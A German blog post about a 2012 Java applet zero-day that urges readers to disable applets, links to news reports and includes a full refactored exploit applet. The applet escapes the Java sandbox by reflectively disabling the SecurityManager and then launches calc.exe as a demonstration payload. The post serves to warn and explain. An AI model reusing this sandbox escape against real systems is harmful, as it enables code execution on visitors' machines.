Auf meiner Google+ Seite hatte ich das schon kurz angesprochen: Es gibt eine Sicherheitslücke, die bisher auch schon ausgenutzt wird. Das ist ein ernstes Problem und jeder ist angehalten, Applets im Browser abzuknipsen. Da die meisten von uns vermutlich eh keine Applets benötigen, ist es sinnvoll, das ganz komplett für immer abzuschalten bzw. nur Ausnahmen zu erteilen (Chrome, siehe https://support.google.com/chrome/bin/answer.py?hl=de&answer=142064). Mehr News unter
- http://www.heise.de/security/artikel/Java-0-Day-unter-der-Lupe-1676764.html
- http://www.heise.de/newsticker/meldung/BSI-warnt-vor-hochkritischer-Java-Luecke-1677249.html
- http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
- http://blog.fireeye.com/research/2012/08/java-zero-day-first-outbreak.html
Auf Basis des Exploits ttp://pastie.org/4594319 habe ich das Programm etwas umformuliert (refactored) und kompakter gestaltet, sodass es leichter ist, die Herangehensweise zu verstehen und nachzuvollziehen:
package cve2012xxxx; import java.applet.Applet; import java.awt.Graphics; import java.beans.Expression; import java.beans.Statement; import java.lang.reflect.Field; import java.net.*; import java.security.*; import java.security.cert.Certificate; public class Gondvv extends Applet { private static final long serialVersionUID = 1L; private void disableSecurity() throws Exception { Permissions localPermissions = new Permissions(); localPermissions.add( new AllPermission() ); CodeSource codeSource = new CodeSource( new URL( "file:///" ), new Certificate[]{} ); ProtectionDomain[] protectionDomains = { new ProtectionDomain( codeSource, localPermissions ) }; AccessControlContext localAccessControlContext = new AccessControlContext( protectionDomains ); Expression expr1 = new Expression( Class.class, "forName", new Object[]{ "sun.awt.SunToolkit" } ); expr1.execute(); Expression expr2 = new Expression( expr1.getValue(), "getField", new Object[]{ Statement.class, "acc" } ); expr2.execute(); Statement localStatement = new Statement( System.class, "setSecurityManager", new Object[1] ); ((Field) expr2.getValue()).set( localStatement, localAccessControlContext ); localStatement.execute(); } @Override public void init() { try { disableSecurity(); Runtime.getRuntime().exec( "calc.exe" ).waitFor(); } catch ( Throwable t ) { t.printStackTrace(); } } @Override public void paint( Graphics g ) { g.drawString( "Loading", 50, 25 ); } }









